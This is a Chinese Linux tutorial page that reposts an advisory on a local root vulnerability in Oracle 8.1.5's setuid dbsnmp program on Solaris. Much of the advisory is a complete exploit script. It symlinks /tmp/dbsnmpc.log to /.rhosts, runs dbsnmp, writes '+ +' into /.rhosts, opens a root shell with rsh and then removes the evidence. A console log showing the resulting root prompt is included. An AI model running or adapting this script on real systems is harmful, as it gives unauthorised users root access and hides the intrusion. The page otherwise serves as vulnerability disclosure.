Linux教程Oracle
首页
基础知识
Linux业界
Linux系统
Linux人物
Linux文化
Linux资讯
Linux综合
当前位置:
Linux教程
-
Oracle
- Oracle 8 严重漏洞
Oracle 8 严重漏洞
综述:
Oracle 8.1.5 for UN*X存在普通用户可以得到root权限的漏洞。
检验环境:
Oracle 8.1.5 on Solaris 2.6 SPARC 版本。
漏洞详细描述:
如果没有设置ORACLE_HOME,运行dbsnmp(缺省设置suid root/sgid dba)时会在
当前目录下产生两个log文
件:dbsnmpc 和 dbsnmpt 。如果这两个文件不存在,dbsnmpd将会创建属性为666、大
小为400字节左右这两个文
件。如果这两个文件存在,dbsnmp将不改变此文件属性,并将400字节左右的输出内容
附加到这两个文件中。如
果root没有设置.rhosts文件,就可以通过创建一个/tmp/dbsnmpc 到 /.rhosts的符号
连接来得到root权限。
检验程序:
oracle8% uname -a; id
SunOS oracle8 5.6 Generic_105181-05 sun4u sparc
SUNW,Ultra-5_10
uid=102(btellier) gid=10(staff)
oracle8% /tmp/oracle.sh
couldn\t read file \"/config/nmiconf.tcl\": no such file or directory
Failed to initialize nl component,error=462
Failed to initialize nl component,error=462
#
--- oracle.sh ---
#!/bin/sh
# Exploit for Oracle 8.1.5 on Solaris 2.6 and probably others
# You\ll probably have to change your path to dbsnmp
# Exploit will only work if /.rhosts does NOT exist
#
# Brock Tellier
[email protected]
cd /tmp
unset ORACLE_HOME
umask 0000
ln -s /.rhosts /tmp/dbsnmpc.log
/u01/app/oracle/product/8.1.5/bin/dbsnmp
echo \"+ +\" > /.rhosts
rsh -l root localhost \sh -i\
rsh -l root localhost rm /tmp/*log*
rsh -l root localhost rm /.rhosts
发布人:Crystal 来自:linux技术支持站点
oracle - ORACLE8的分区管理
ORACLE回滚段的概念,用法和规划及问题的解决
PHP 5 数据对象 (PDO) 抽象层与 Oracle
ORACLE应用经验(3)-DBMS_SQL封装过程
Oracle企业管理器(OEM)常见问题解答
Oracle .com 套件在TurboLinux上的安装
ORACLE数据库不用索引来查找数据
oracle - Oracle常见错误代码的分析与解决二
ORACLE FOR SUN SOLARIS 安装手册
ORACLE8.1.7+TOMCAT3.2.1安装手册
浅谈Windows下 PHP4.0与oracle 8的连接设置
ORACLE应用经验(5)-表空间
oracle - Oracle常见错误代码的分析与解决三
安全公司报告:Oracle 8和8i存在安全问题
PHP+Oracle(OCI) 初步
站点导航
Linux教程
Php
Linux
非技术类
指令大全
Shell
安装启动
Xwindow
Kde
Gnome
输入法类
美化汉化
网络配置
存储备份
杂项工具
编程技术
网络安全
内核技术
速度优化
Apache
Email
Ftp服务
Cvs服务
代理服务
Samba
域名服务
网络过滤
其他服务
Nfs
Oracle
Dhcp
Mysql
Ldap
RedHat
赞助商链接